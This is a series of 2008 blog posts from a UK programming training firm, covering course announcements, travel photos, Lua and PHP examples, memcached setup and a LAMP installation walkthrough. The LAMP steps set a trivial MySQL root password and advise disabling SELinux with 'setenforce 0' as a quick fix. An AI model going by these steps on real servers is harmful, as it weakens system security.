The use of dots of different colours to differentiate them, and sizes (to give an idea of the numbers of hits) are very informative - and again they are somwthing we can help you with if you want to do something like this.
Posted by gje at 11:53 AM | Comments (0)
Related topics: via article database
Useful link: PHP training
Public Training Course Dates until July 2009
It may still be the summer holidays, but we're already planning our courses for next year! You'll find that our main course index now lists public courses until the end of July 2009, and that each of the individual course descriptions also lists dates for the next 12 month.
We have also updated our options courses - the week of 29th September is confirmed as a C and C++ week, and there's an extra option slot opening on the week of 3rd November, where we're offering training classes in Lua or a Tcl training class.
We review our prices annually; prices for 2009 bookings are not yet set, but any bookings that are made and confirmed prior to 31st December 2008 will be honoured at 2008 prices, even if you don't take your course or stay at the hotel until next summer!
Posted by gje at 07:40 AM | Comments (0)
Related topics: via article database
August 12, 2008
Glorious (?) 12th August - what a Pe(a)rl!
Today is the "Glorious 12th" - and the start of the grousing season.
Do I envy, or admire, people who breed pheasants just to shoot at them. Or go our on the moors, with beaters, to take a potshot at the grouse on the moors of Scotland? No, I don't and it's a world away from mine. But it is a day I remember - somehow springs to my mind - as it was the day of the year (30 years ago today) that I first got married. Glad to report that the wounds I felt (and, truth be known, probably caused) during the 17 years we were together have now mellowed and feel like a distant memory ...
But talking about Perl (30 years is a Pearl wedding!), we have two Perl Programming courses coming up in October - starting on 6th and again on 27th - and advanced Perl courses starting on 3rd Novermber (Perl for Larger Projects) and 13th November (Using Perl on the Web)
Posted by gje at 06:49 PM | Comments (0)
Related topics: via article database
August 11, 2008
Using server side and client side programming together
I was back for first principles this morning for a delegate who - though very much an experienced programmer - is new to web work and HTML, and I put together a series of demonstrations using various web components ...
1. A straightforward HTML page, including document definition, a head and a body section, all carefully formed using Transitional XHTML. In separate windows - run the code and view source
2. Adding in some server side programming - in the form of PHP - to make the XHTML sent to the browser change depending on a calculation. The calculation of our example is simply to work out the date and time (including day of the week) and include them in the page. In separate windows - run the code and view source
3. For regular reporting and monitoring applications, you'll want a web page that's regularly updated - and the next step was for us to add in a refresh capability so that the page is updated automatically once a minute. In separate windows - run the code and view source
4. So far, our web page looks fairly basic - but it can look far smarter if we apply style / cascading style sheets, which we did in the next example. In separate windows - run the code and view source
5. A picture paints a thousand words, so let's add a graphic (.jpg) to our web page. In separate windows - run the code and view source
6. Finally, we used a Javascript program running in the browser to resize the image to fit the width of the window, and to resize it again if our user resizes the window once the page has loaded too. In separate windows - run the code and view source
There you are, then - XHTML, Server side programming (PHP), Client pull refresh, Style sheets (CSS), Images (JPG) and client side programming (Javascript) all in the one example - a mini "HOWTO" showing you how the various elements can be used together.
Posted by gje at 05:06 PM | Comments (0)
Related topics: via article database
Hotel room prices - Melksham, Wiltshire
Like other businesses, we are seeing some of our costs rising at present rather faster than has happened in the recent past. However, I am happy to announce that hotel room prices, and training course prices, will remain unchanged for the rest of the year. We review prices annually (at the end of the year) and see no reason to take advantage of the current economic climate in which so many people are raising prices to quietly raise ours too!
| Double or twin room, including breakfast (superior continental) for 2, internet access, VAT, etc | £95.00 per night |
| Double or twin room, including breakfast (superior continental) for single occupancy, internet access, VAT, etc | £80.00 per night |
| Delegates on Well House Consultants training courses, contract customers who regularly book 10 days or more per month, and Melksham Chamber of Commerce members. | £70.50 per night |
Training course - places on public courses are £350.00 for one person on a one day course, plus £250.00 for each extra day on that course (in this case prices are quoted ex VAT as it's the training industry norm). On site training prices depend on the number of delegates, the venue, and the duration of the course - if you enter your postcode (UK), County (Ireland), zip code (USA) or country (rest of world)
At Well House Manor, we offer accommodation for business travellers in the West Wiltshire area - Melksham is a thriving town of 23000 and is close to Bradford-on-Avon, Trowbridge, Chippenham and Devizes.
Our rooms all include large screen TVs with over 50 channels, they are all en-suite, and the all offer large desks where you can work while you're with us - plenty of power points, wired and wireless internet access, etc. We've got plenty of parking and we're just five minutes walk from the town centre where there's a wide range of bars and restaurants. In line with our business guest's requirements, we're well set up for early checkins if we know in advance (many of our guests fly in from the USA and arrive in Melksham at around lunchtime), and we don't offer accommodation for children.
We have plenty of free parking (but we can also arrange taxis, and the regular bus to and from Bath and Devizes stops right outside too), and lounges and more formal conference rooms for your business meetings. We do not serve evening meals, but you are very welcome to bring in "takeaway" food and use our microwave, crockery and cutlery. We even have cans of soda and fresh ground coffee on tap, 24 x 7 - and all this is included in the prices above
Posted by gje at 08:28 AM | Comments (0)
Related topics: via article database
August 10, 2008
Who is watching you?
How would you feel if someone sat opposite you in a train, stared hard at your throughout your journey, watched what you were doing all the time yet without engaging you at all? I suspect you would find that it made your spine tingle - it certainly would with me, and it would make me wonder what that person's agenda was.
That same observation can happen on line. And that's why you hear so much concern at people putting their personal details on sites like Facebook - especially as the web crosses over into real life. And 999 times out of 1000, the person with the Facebook account won't even realise that they're having such an unhealthy interest taken in them.
I was going to post a security tip this morning ... but I've just been watching some very interesting activity indeed on our web site, so I'm posting this reminder to "keep your private parts private" to everyone - you may not know who is out there!.
Our policy has been - and remains - to make our training activities and examples available and open to our delegates, and to all comers, and we must remember that. And at times (drawing an analogy with the Olympics which seems topical!) we'll act as the pacesetter and be in the lead for much of a race just to be "pipped at the post" by someone who we've helped along all the way. A poor analogy as I don't feel I'm in a race but I suspect that someone else does.
Posted by gje at 06:33 AM | Comments (0)
Related topics: via article database
August 09, 2008
London for the visitor, for free
Covent Garden, Central London, on a hot August afternoon. London is teeming with visitors, and considering that I was working in the Soho section of the West End, and staying (literally) in the shadow of the London Eye on the South Bank, I shouldn't have been surprised at the crowds. This first picture is Covent Garden, the old fruit and vegetable market which is now a great indoor / outdoor venue during the day for performers, music, eating and drinking and souvenir stalls.
Admiralty Arch - just across from Trafalgar Square - guards the entrance to the Mall - the driveway up to the Queen's home at Buckingham Palace. In the early evening, tired civil servants from their offices in Whitehall (I was one once!) make their way across to Charing Cross and Waterloo stations for the commute home.
London's Waterloo Railway Station is the busiest in the country, with over 88 million journeys starting or ending there last year. The great sweep of the concourse, dating from the 1920s when a series of other stationlets on the site was swept away, is impressive - spoiled only by the white elephant of the Eurostar terminal, now abandoned in favour of St Pancras.
The Golden Jubilee Bridges. As a child, I used to cross Hunderford Bridge on this site - a narrow walkway attached to the railway viaduct that shook in a most comforting way when a train went across; I guess that the separate jubillee bridges, built to celebrate the Queen's Golden Jubillee, are necessary for modern crowds but somehow I hanker after old times. In this picture, a visitor takes in the sights and sound of the river Thames, and the Royal Festival Hall on the South Bank.
Embankment Gardens. Running alongside the Thames in this area are the Embankment Gardens - and indeed London has a suprising amount of green. At the end of the day, those commuters who are not in a rush to get home mingle with the tourists and vagrants, and some steal an illicit walk hand in hand with their office girlfriends before heading off home to the wife.
Ands where better to catch up on office gossip than the Cafe outside the Festival Hall? The sun is lovely, the company less formal than it was at the office desk an hour or two back, and the trains to Sevenoaks and Guildford, to Chessington and Dartford, will be much more comfortable at 7:30 than at 5:30!
And yet, even amongst this hussle and bussle there are quiet places and lovely architecture to admires - in this case a Georgian Crescent who's name I don't know just off Northumberland avenue. A hundred yards to the left is the river Thames. A hundred yard to the right is Trafalgar Square. Behind me is Charing Cross and the Stand and in front of me, Whitehall and the Houses of Parliament - and let there is this little sea of quiet. And London has a lot of spots like that!
Let me finish with a view in St. James Park, along the lake and up to Buckingham Palace. Again, the crowds are absent; in this case an early morning picture taken as I walked up from my hotel, past parliament and looped around Horseguard's parade before heading through the park, up the Duke of York steps to Lower Regent Street, Regent Street, and Oxford Circus.
And what did it cost me to take in these sights and scenes? Nothing - the parks and bridges and roads are all public and toll free. Truely, I wouldn't want to live in London but I love to spend an hour or two in the City from time to time.
Posted by gje at 07:11 AM | Comments (0)
Related topics: via article database
August 08, 2008
Moodle, Drupal, Django (and Rails)
In the 1970s, we had C and in that decade and the following one, we put together our systems in that language and its derivatives.
In the 1990s, we had Perl and in that decade and the following one, we put together our systems in that language are related ones.
In the 2010s, we'll have a wide range of web environments, and we'll put together our systems using those - or some of them; it's a little hard as yet to know exactly how the market will shake out from all the products that are already catching on in these area.
As an online community, it's more than natural for us to order our books from online stores (and perhaps read the books on line, and learn on line too - but that's a story for another day). So many of the superb bookshops have shrunk from carrying an impressive stock of books on "our" subjects to just a few shelves, leaving it up to us to order, sight unseen, on line. And you can't really walk into an online store, turn your head and take in the panorama of the shelves, see where people are gathered, where stock levels are high, which sections are growing in quite the same way you can in a real live store.
What did I spot? My subject line - Moodle, Drupal, Django and Rails amongst others. And a big growth in Ruby too, much pushed towards Rails. Some of the raw programming sections shrinking a little, Linux and OS matters growing, and a complete new room now for Microsoft.
Perhaps I had better define the strange new subjects that I have not mentioned here before for readers ...
Moodle ... Moodle is a web application written in PHP, storing its data im MySQL (both technologies we teach!). If provides a learning environment for students, and a management system for looking after those students - so it's a specialised form of a CMS (Content Management System) ...
Drupal ... Drupal is a more generalised (i.e. more flexible but more daunting to set up!) content management framework. It lets you take a straightforward site and add a whole lot of services as and when you wish, using extra modules of which many ar available ... or you can write and tune your own in PHP.
Django ... Whereas Drupal and Moodle are PHP based, Django is Python based. It's described as a "web development framework" - in other words it takes the hard work of much of the Python coding out of putting your web application together, and lets you write a Python based web application much more efficiently, much more consistently, and much easier to maintain.
Rails *has* come up before - it's a Ruby based Web development framework, so you could draw a parallel to Django, or PHP perhaps with Cake - but that's another story. Update, January 2010 - See our new Ruby on Rails extension to our Ruby Courses.
If you're a new user of Moodle or Drupal, you probably will NOT need to know any PHP - but as you move on to make more sophisticated use of them, you might - and that's where our PHP Programming course would come in. Django user will almost inevitably need to learn Python, and we have some django resources available during our public courses so that delegates learning Python for embedding via django can get some practise in the appropriate environment.
Posted by gje at 08:01 PM | Comments (0)
Related topics: via article database
Lua examples, Lua Courses
Programming training is much more effective if the delegates are shown how a particular program is written, rather than just the final result ... show them just the final result and they'll ask "but how did you come up with that?"
So whenever possible, I write new examples in front of my delegates - spill my guts if you like, describing what I'm writing, and what my logic is behind it. The result is that - by the end of the course - I have a whole folder full of new examples which I then sent through (zipped) to the delegates for them to use as post-course material in addition to the more formal printed notes.
After the three day Lua course in central London that finished yesterday evening, I took the long way round on my way home - a leisurely train ride via Waterloo and Salisbury to Trowbridge, and that gave me the opportunity to tidy up my examples - add in some more comments, and some sample output ... and I've added the better ones to our web resources - and here that are:
furry - Calculations / good variable naming conventions
prncr - Output of a prompt without a new line
wcd - exchange rate loop
whilly - while loop - break and alternative
andor - combining and / or operators
moopark - theme park entrance prices
stem - simple string function use
tat - pairs v ipairs
cleversort - Sorting using a user defined comparator
party - building up a table as data is entered
fav - function as table member - polymorphic tables
dress1 - function call - simple example
dress2 - local variables in a function
dress3 - conditional function definition
fsr - variable number and type of parameters
cuboid - Using a demonstration class
newCube.lua - A demonstration class definition
iiapc - Pattern Match to Postcode, with capture
skill_lister - Read, analyse, sort data from file
I started this article saying how much more effective training is when you see he examples developed interactively, and yet I have now shown them to you as "final results only". However, with the comments I have added they are still a good resource for delegates who have taken some steps in Lua already, or who are geeks who lap up this stuff. If you look at them and think "I wish I could write code like that" ... the come along on our public Lua course or book me for a private course if you've a group of four or more.
Posted by gje at 08:52 AM | Comments (0)
Related topics: via article database
Useful link: Lua training
August 07, 2008
First class functions in Lua lead to powerful OO facilities
"In Lua, function names are first class variables." Ok - so what does that mean?
At the most direct / simplest, it means that a function can be stored in a variable - so that you can write
function oik()
print ("does the real work!")
end
and then
action = oik
action()
to run the function via another variable ....
"So what?" you may ask.
It means that you can set up a series of functions ... and then a series of tables each containing the data about a particular (in my example) person, and within the table have a member variable that defines which particular function is run at a certain time.
By, in turn, storing those other tables into a table of people, it means you can then write a loop which processes data for each person, and which takes a slightly different action depending on which particular function (logic) you have referenced within each table object.
One you've got this set up ... the resultant code can be really elegant ... from a table called team as your team of people ...
quay,bollard = next(team, nil)
while quay do
print (quay,bollard["name"],
bollard["approach"](oik),
bollard["age"],"\n")
quay,bollard = next(team, quay)
end
... and different logic will be run from the "approach" member depending on what approach you have defined for that particular member.
This is a powerful technique where you have a number of things (members) each of which may have slightly different logic applied to them - in fact (although I have avoided the words so far) it's an excellent application of Object Oriented principles. You have
• Each table within the master table being an object
• Code that varies depending on the object being handled (polymorphism)
• Common logic only being defined once, with extra added as necessary to specific objects (inheritance)
• The ability to add in extra types (classes) without having to rewrite the main logic in any way
Complete example at this page
Posted by gje at 07:55 AM | Comments (0)
Related topics: via article database
Useful link: Lua training
Lua - Table elements v table as a whole
Lua ... If you refer to a table name WITHOUT square brackets, you are referring to (and will effect) the whole table ... but if you refer to a table name and put something thereafter in square brackets, you are referring to just one element of the table. Actually, an almost identical story applies to other languages!
-- Whole table - no square brackets
people = {"Graham","Sadhana","Damien",'Ricardo',"Vanessa",'Thom'}
-- Just individual elements - with square brackets
people[7] = "Mandy"
people["Builder"] = "Bob"
Also in Lua ... if you use a for loop up to #people, or the ipairs function, you'll only loop through the consecutive elements of a table that are numbered from 1. If you use pairs instead, you'll select ALL the elements (and you can also do that with the next iterator.
print ("** This will list out until a missing index")
for k=1,#people do
print (people[k])
end
print ("** print out all pairs")
for ping,pong in pairs(people) do
print (pong,ping)
end
print ("** print out indexed pairs")
print ("** so it misses out named ones!")
print ("** Only gives the ones with index no.s!")
for ping,pong in ipairs(people) do
print (pong,ping)
end
Here are the outputs from those two pieces of simple Lua code using tables run straight after each other:
** This will list out until a missing index
Graham
Sadhana
Damien
Ricardo
Vanessa
Thom
Mandy
** print out all pairs
Graham 1
Sadhana 2
Damien 3
Ricardo 4
Vanessa 5
Thom 6
Mandy 7
Bob Builder
** print out indexed pairs
** so it misses out named ones!
** Only gives the ones with index no.s!
Graham 1
Sadhana 2
Damien 3
Ricardo 4
Vanessa 5
Thom 6
Mandy 7
[trainee@easterton al]$
See here for more Lua resources - the page is a description of our course and if you click on the individual module details you'll be taken to resources specific to that particular modules - lots more examples, short articles such as this indexed by topic, etc
Posted by gje at 06:50 AM | Comments (0)
Related topics: via article database
Useful link: Lua training
Age Concern
"Age Concern" says the "one armed bandit" in one of our local pubs - and watching the display on the screen, it tells us that 20% of the proceeds go to the Age Concern Charity. Good for them - I suppose - if they're happy to be funded by the profits from gambling; it's probably quite a good sales line for the machine too as it allows the inebriated prime-of-life customers to quietly feed in more money than they might otherwise, and leave with a clear conscience that they're doing something for Mum or Auntie too.
But my age concern was different; it's a family / food pub and the machine is in a public area. I saw this picture (which I did NOT snap, for privacy reasons) ... a young girl - of perhaps 9 - playing with the machine. Not feeding money into it; just playing the buttons. But me thinks that this was not the "Age Concern" that the manufacturers had intended to provoke.
Posted by gje at 06:18 AM | Comments (0)
Related topics: via article database
August 06, 2008
Vertical London
 |  |  |
 |  |  |
 |  |  |
With a course in London this week, I've had an opportunity in the early morning and early evening to walk across town and take a few pictures. A quiz for those of you who are at all familiar with London (most will be VERY easy for native Londoners!), can you place the pictures?
Posted by gje at 08:45 PM | Comments (0)
Related topics: via article database
Bath, Snake or Nag?
If you're running a web application through a number of phases , you've a choice of three ways of keeping information from one page to the next (keywords - sessions, shopping carts!).
You can use a bathtub - each time history (data) is entered, it gets added to a collection which gets passed back and forth every time between the browser and the server, until you can have a lot of data sloshing around, rather like you have with water in a bath if you move, ever so gently, up and down at the same speed as the natural motion of the waves; a series of small movements lead to some quite dramatic larger movements.
A snake is a single piece of information being passed back and forth - I could use the analogy of the ball in a tennis rally if you prefer - and that piece of information is a unique identifier which gives a key into a database or a file name on the server.
And a nag is someone - a browser - who keep coming back with "it's me again".
Let me translate each of those into a technology / protocol method. The Bathtub is hidden fields, the snake is a single hidden field with data being stored on the server in a session, and the nag is a cookie based session. The problem with a snake or a tennis rally is that once you've broken it, you can't get back and carry on with same rally or reptile so in web terms, you can't break away from a series of pages and then come back and expect to carry on - you have to start anew. And since the Bath is based on the snake, this limitation applies there too.
Which leave you with the "nag" - the cookie. Now we sometimes get a bit short with a nag, just like we're sometimes less that thrilled to accept certain cookies - but nagging can be a very effective way of getting things done, can't it?
Posted by gje at 07:03 AM | Comments (0)
Related topics: via article database
Clean code, jump free (Example in Lua)
The "goto" statement - in languages that still support it - is regarded with disdain by Computer Scientists as it makes for spaghetti code - hard to follow and going all over the place!
In some ways, loop controls "break" and "continue" ("last", "next" and "redo" in Perl; "next", "redo", "retry" and "break" in Ruby) are also forms of the goto. They are not as bad in that they only jump within a limited area, but on the other hand many forms don't involve labels so that there's no clue at the destination point in your code that it's an arrival point.
Having slagged off these statements (and in reality I'm being a pedantic computer scientist by doing so - I use them personally from time to time!) I had better off you the alternative. Written on yesterday's Lua course as a demonstration - here's a while loop that has an ugly break in it ...
j=14
while 1 do
print (j)
if j > 20 then break end
j = j + 1
end
print ("done")
... and here's the alternative using a control variable. ...
j=14
running = true
while running do
print (j)
if j > 20 then
running = false
else
j = j + 1
end
end
print ("done")
That code being longer, but purer and easier to maintain.
Posted by gje at 06:32 AM | Comments (0)
Related topics: via article database
Useful link: Lua training
August 05, 2008
Rules, suggestions, considerations for Lua variable names
Rules for naming variables in Lua ...
* MUST start with a letter or underscore
* which MUST be followed by as many or as few letters, digits, underscores as you like
* Case sensitive (sound bite - "there are 52 letters in the alphabet"
* Variable names must NOT be Lua keywords
Suggestions for naming variables in Lua
* Make variable names from relevant and appropriate words
* Keep variable names shortish but not too short to understand
* Have a CaPiTaLiSaTiOn standard
* Standardise on English or American spelling
* Also standardise on which abbreviations are used
Also consider the following when naming your variables
* Hungarian Notation (first letter gives type)
* In Lua (and in other languages) your variable names should assist your commenting.
Posted by gje at 06:34 PM | Comments (0)
Related topics: via article database
Useful link: Lua training
August 04, 2008
Current visitors from around the world - PHP
Would you like to draw a map showing you where your visitors are coming from - all around the world? Something like this:
Last 15 minutes - visitors to www.wellho.net
I've being doing that through PHP, using the GD graphics module - source code available here if you want to do the same thing on your site - or if you need help we cover it on our ... <advert>PHP Techniques Workshop<advert>
During the day, that map gets cluttered for Europe, so here's a further example I'm working on ...
You can also see some further details on our current visitors text page here.
P.S. These images are live and show the actual traffic in the last fifteen minutes when you arrive at our site every time ... so I expect you'll always see a different image.
Posted by gje at 01:13 PM | Comments (0)
Related topics: via article database
Useful link: PHP training
August 03, 2008
Finding words and work boundaries (MySQL, Perl, PHP)
If you're searching for the word "mile", you probably don't want the page that tells you that Sally Smiled at Harry. But you may want to find a Milestone, even if it is within quotes.
Regular Expressions are your friends!
In Perl style regular expressions (which also work in Python, and in PHP with the preg functions), the \b anchor (or 'zero width assertion') matches at a word boundary. In other words, it will let you find positions in your text string which have a special character followed by an alphanumeric, or an alphanumeric followed by a special character. It also matches at the very beginning or very end of the string if the string starts / ends with an alphanumeric.
example: /\bmile/i matches - ignoring case - words starting with mile.
In MySQL regular expressions (used with REGEXP and RLIKE matches), you have tow different anchors. [[:<:]] matches at the start of a word and [[:>:]] matches at the end of a word. Slightly longer / more complex, but probably a little quicker to run.
My personal suggestion - if you are searching - is to look for the search term anchoring the start but not the end to a word boundary. That way, you find all the "es" "ed" and "ing" words - end, ended, ending, but it does not send you round the bend with lots of spurious hits.
Our blog archive at http://www.wellho.net/mouth/ adds a column of "related short articles" down the right hand side to help you navigate to similar subjects. Until yesterday, we were reporting similar articles based on the subject of the current blog having one of its words appear within the subject line of another article - done that way from the early days of the blog to get a good spread of links to extra aricles. However, that list was getting long and I updated the script to use a MySQL regular expression - and now we have a list that (in most cases) has been trimmed back to a manageable size, and had a heightened relevance. For example - from 17 further links on that first page down to 12.
In other words - the clause
where entry_title like '%$word%'
has been replaced by
where entry_title rlike '[[:<:]]$word'
As an aside - we also eliminate a few common words from the page matching - here's the regular expression used on each word in a list from the title.
'^(the|from|and|you|our|why|they|via|that|can|all|'.
'use|your|big|how|etc|for|one|two|not|after|work|but|get|are)$'
Posted by gje at 10:59 AM | Comments (0)
Related topics: via article database
Useful links: Perl training, PHP training, MySQL training
All around the world?
Can you guess what the following have in common?
| Oregon, United States | Beijing, China |
| Madhya Pradesh, India | Western, Sri Lanka |
| Korea, Republic of | Zuid-Holland, Netherlands |
| Gauteng, South Africa | Brazil |
| Region Metropolitana, Chile | Victoria, Australia |
| Makkah, Saudi Arabia | Dubai, United Arab Emirates |
| T'ai-pei, Taiwan | India |
| Perak, Malaysia | California, United States |
| Ireland | London, City of, United Kingdom |
| Milton Keynes, United Kingdom | Wiltshire, United Kingdom |
| Noord-Holland, Netherlands | Brussels Hoofdstedelijk Gewest, Belgium |
| Sachsen-Anhalt, Germany | Bucuresti, Romania |
We've had visitors to our web site in the last five minutes (or rather the five minutes from 09:35) from IP addresses in all these places. (And I have excluded know robots too!)
For a considerable time, we have used the Maxmind database (http://www.maxmind.com/) to identify the country from which visitors arrive on our site - this allows us to tailor our phone number for their use, add the words "UK" prominently onto course descriptions, and make other subtle alterations along the same lines. However, our new server has more "Umph" and as well as getting an enormously better performance, we're able to use Maxmind's bigger regional database now, and get more granularity in our geolocation.
Using our recent visitors page, we can even watch visitors as they arrive at our site - we can see the search terms they have used if they're a new arrival from Yahoo or Google, and we can see how they follow through. This is superb marketing feedback - and we keep the logs too so that we can come up with a longer term analysis as well. As you might expect, on a Sunday August morning our site isn't at its busiest, and you'll see a predominance of Asian visitors. The USA sleeps (except for one late bird in California) and Europe is enjoying its lie in on Sunday morning.
Posted by gje at 10:02 AM | Comments (0)
Related topics: via article database
August 02, 2008
memcached - overview, installation, example of use in PHP
Let's say you have a large database on a busy server, and queries that are eating into your resources. Would you like to be able to speed things up?
It usually turns out that there are certain queries which are very frequent and which return the same results each time (or for a period of time) which account for most of your traffic - although over time new queries will join the "popular" club and others will fade into the "was once popular" category. If you run a forum, or a blog, or an image resource site like we do, you'll probably recognise the metric.
Memcached provides a daemon which you can run on your server which grabs a specified amount of memory into which common query results (or other information) can be stored for re-use. It uses a hashing technique for very fast lookup, and it keeps tabs on the time / date that each item was last accessed so that it can drop the least popular items once it runs out of memory. It's really very clever because:
• Only small code changes are needed to your application, around the slow queries.
• It is self-adjusting in that it will identify the data it ought keep in memory and that will change as query popularity changes
• It works across multiple cpus, (i.e. you can have a network of servers) so that you make every bigger savings in a load balanced environment.
I've installed memcached on our server, and started the daemon. I've downloaded the PHP (Pecl) drivers and installed those too and put together a demonstration om memcached. You can run it here and view the source code here. I would (of course) be delighted to go into this in much more detail - and do some practical exercises - on our PHP techniques workshop.
Installing Memcached, and the PHP drivers
To quote a website I found this morning when doing the installation ...
"Installation instructions are fairly straightforward which is why I'm not going to discuss those here. Once you've installed the extension you need to restart your Apache web server. You can check whether the extension is running by using phpinfo(). If all is ok you'll see a section about memcache.".
Hmm - it might have been easy for that author, but I didn't feel that it would be trivial for our customer base, so here are some pointers at least - a summary of what I did.
Memcached Installation
1. Pre-requisite - libevent.
from http://www.monkey.org/~provos/libevent/
a) Download and untar the file
b) cd into the directory created
c) ./configure
d) make
as root:
e) make install
2. Memcached itself
from http://www.danga.com/memcached/download.bml
a) Download and untar the file
b) cd into the directory created
c) ./configure --prefix=/usr/local/memcached
(I chose to make up a separate directory in case I want to (re)move later)
d) make
as root:
e) make install
PHP drivers for memcached
from http://pecl.php.net/package/memcache
a) Download and untar the file
b) cd into the directory created
c) phpize && ./configure --enable-memcache && make
as root
d) cp modules/memcache.so /usr/local/lib/php
e) vi /usr/local/lib/php.ini
change
; extension_dir = "./"
extension_dir = "/usr/local/lib/php"
add
extension=memcache.so
f) stop and restart the web server
g) Check that the memcache extension loaded (via a phpinfo page)
Starting the memcached daemon
As a regular user with minimal privileges, I ran
/usr/local/memcached/bin/memcached -d -l 127.0.0.1 -m 32 -p 11211
-d - start as a daemon
-l - listen on 127.0.0.1 (loopback, for local use)
-m - allow 32 Mbytes of memory
-p - port number on which to run
(11211 is the default anyway)
I got the following error:
/usr/local/memcached/bin/memcached: error while loading shared libraries: libevent-1.4.so.2: cannot open shared object file: No such file or directory
which I corrected as root as follows:
cd /usr/lib
ln -s /usr/local/lib/libevent-1.4.so.2 libevent-1.4.so.2
Starting on reboot too!
I have added the following onto the end of /etc/rc.local
/usr/local/memcached/bin/memcached -d -l 127.0.0.1 -m 32 -p 11211 -u wellho
(The scripts runs as root - the -u option switches in to user wellho!)
This technical note introduces a huge subject ... drivers are available for other languages too, a single cache can be used for multiple applications, caching can be done cross-server, records can be updated (and you need to take care with records that may be updated in the database to avoid serving expired stuff). This is an excellent way - if you have a computer with a lot of memory but a cpu that's running flat out - to trade in memory to regain cpu cycles, but beware on 32 bit systems of going over 2Gbytes (if you do, run multiple memcached instances!)
Note too - my server is behind a firewall, so remote access to port 11211 should not be possible!
Posted by gje at 11:31 AM | Comments (0)
Related topics: via article database
Useful link: PHP training
August 01, 2008
Old pictures and comparisons
I've always found it very interesting to compare pictures taken at the same location a period apart, but in the glut of 2008 pictures anything from (say) 1908 gets swamped. However - here are two I took the weekend before last - the first being of a history board at the station showing the scene as it used to be (1909) and the second showing the current scene, as photographed by myself.
Now - here's another challenge. This old picture is of the river Cam in Cambridge. Can you guess how old it is?
I had lunch today with a photographer - someone who had been a professional photographer, in fact, and enjoyed hearing his comments and experiences. And I thought that having a camera our with me, as I did on Wednesday evening in Cambridge, helped me make something of the lovely weather and time in spite of me being on my own. Walking alone isn't my idea of pleasure, and having a dog to walk "with" wouldn't suit our lifestyle. But a camera does make a good doc substitute.
Than picture above? Oh - it's 2 days old now - I took it in Cambridge myself on Wednesday evening. Isn't it wonderful how a bit of sepia toning can make a picture totally mislead you - or had you guessed?
Posted by gje at 07:34 PM | Comments (0)
Related topics: via article database
Apache httpd, MySQL, PHP - installation procedure
If you're installing LAMP (Linux, Apache, MySQL, PHP), what do you do and in which order? Here's a summary of the procedure we followed on todays Apache httpd deployment course - in this case running (tailored) for a single company audience, and tailored for specfic needs.
(I've documented this and reporduced it here as it brings together in a short reminde form material from many different sources / help files, and shows you the decisions taken in real life as we followed the procudures. In the case of the examples, httpd, mysql and PHP were already installed and had to be stopped and deleted before fresh copies could be installed!)
a) Build of httpd (Must do this before we install PHP)
As root
1. Stop the old daemon
2. Take backups of data to be kept
3. cd /usr/local; rm -rf apache2
As admin user
(cd to user's build area)
3. rm -rf httpd-2.2.8
4. tar xzf httpd-2.2.8.tar.gz
5. cd httpd-2.2.8
6. ./configure --enable-proxy --enable-proxy-httpd --enable-proxy-balance --enable-jk --enable-so --enable-rewrite
Note:--enable-so is needed later on for PHP. The other modules were selected because of our requirements later in the day to proxy requests on to another system, to rewrite URLs, and to talk to Apache Tomcat via an AJP 1.3 connector
7. make
Back as root
(cd to user's build area)
8. cd httpd-2.2.8
9. make install
10. cd /usr/local/apache2
11. ./bin/apachectl start
From a browser
12. Test - visit http://yourhostname/
b) Add in MySQL (must do this before PHP as PHP uses its C library)
As root
101. Backup old data
102. Stop the old daemon (./support-files/mysql.server stop)
103. cd /usr/local - remove old version AND symlink!
Note:You should also delete the old /etc/my.cnf file, and the .my.cnf file in root's home directory, if you want to create a fresh build with fresh databases and tables. Otherwise it will inherit the old ones
104. tar xzf ~trainee/mysql-5.1.24-rc-linux-i686-icc-glibc23.tar.gz
105. ln -s mysql-5.1.24-rc-linux-i686-icc-glibc23/ mysql
106. cd mysql; chown -R mysql.mysql .
107 ./scripts/mysql_install_db --user=mysql
108. chown -R root .
109. chown -R mysql data
110. ./support-files/mysql.server start
111. ./bin/mysqladmin -u root password 'abc123'
112. Test - visit via ./bin/mysql -pabc123
c) And now PHP
(Nothing to delete or backup as you've done that already!)
As admin user
201. tar xzf php-5.2.5.tar.gz
202. cd php-5.2.5
203. /configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql=/usr/local/mysql
204. make
As root
205. cd /usr/local/apache2
206. ./bin/apachectl stop
207. cd ~trainee/php-5.2.5
208. make install
209. cp php.ini-dist /usr/local/lib/php.ini
210. Edit /usr/local/apache2/conf/httpd.conf to ensure the following are there:
LoadModule php5_module modules/libphp5.so
AddType application/x-httpd-php .php .phtml
AddType application/x-httpd-php-source .phps
211. cd /usr/local/apache2
212. ./bin/apachectl start
213. Add in file /usr/local/apache2/htdocs/phtest.php to contain just
<?php phpinfo(); ?>
214. Test - browse to http://yourservername/phtest.php
d) Make them restart at reboot
301. cd /etc/rc3.d or /etc/rc5.d
302. remove old symbolic links to previous installs
303. cd /etc/init.d
304. remove old apachectl and mysql.server files
305. cp /usr/local/apache2/bin/apachectl .
306. cp /usr/local/mysql/support-files/mysql.server .
307. cd /etc/rc3.d or /etc/rc5.d
308. ln -s ../init.d/apachectl S94webserver
309. ln -s ../init.d/mysql.server S93sqlserver
310. Test by rebooting!
311. Visit the MySQL client program(repeat step 112) and web server(repeat step 214)
Should you get an error message like:
httpd: Syntax error on line 53 of /usr/local/apache2/conf/httpd.conf: Cannot load /usr/local/apache2/modules/libphp5.so into server: /usr/local/mysql/lib/libmysqlclient.so.16: cannot restore segment prot after reloc: Permission denied
it's likely you're having issues with SELinux. As a quick fix, you may like to
add
setenforce 0
near the beginning of the scripts that you have copied into /etc/init.d
------ All basically running at this point --------
e) Further near-mandarory setup!
Move Web Site to appropriate place (e.g. /home or /var or /websites) (and switch web server to use it!)
Set up user and group for web server and switch server to use it! (or use the standard Apache one)
Set up user (same group) for web developer / provider
Set up MySQL account for web server. Set MySQL passwords.
Remove spurious accounts in MySQL!
Set up test page. Reboot (to ensure restarts AOK still!) Test.
Posted by gje at 06:17 PM | Comments (0)
Related topics: via article database
Useful links: PHP training, MySQL training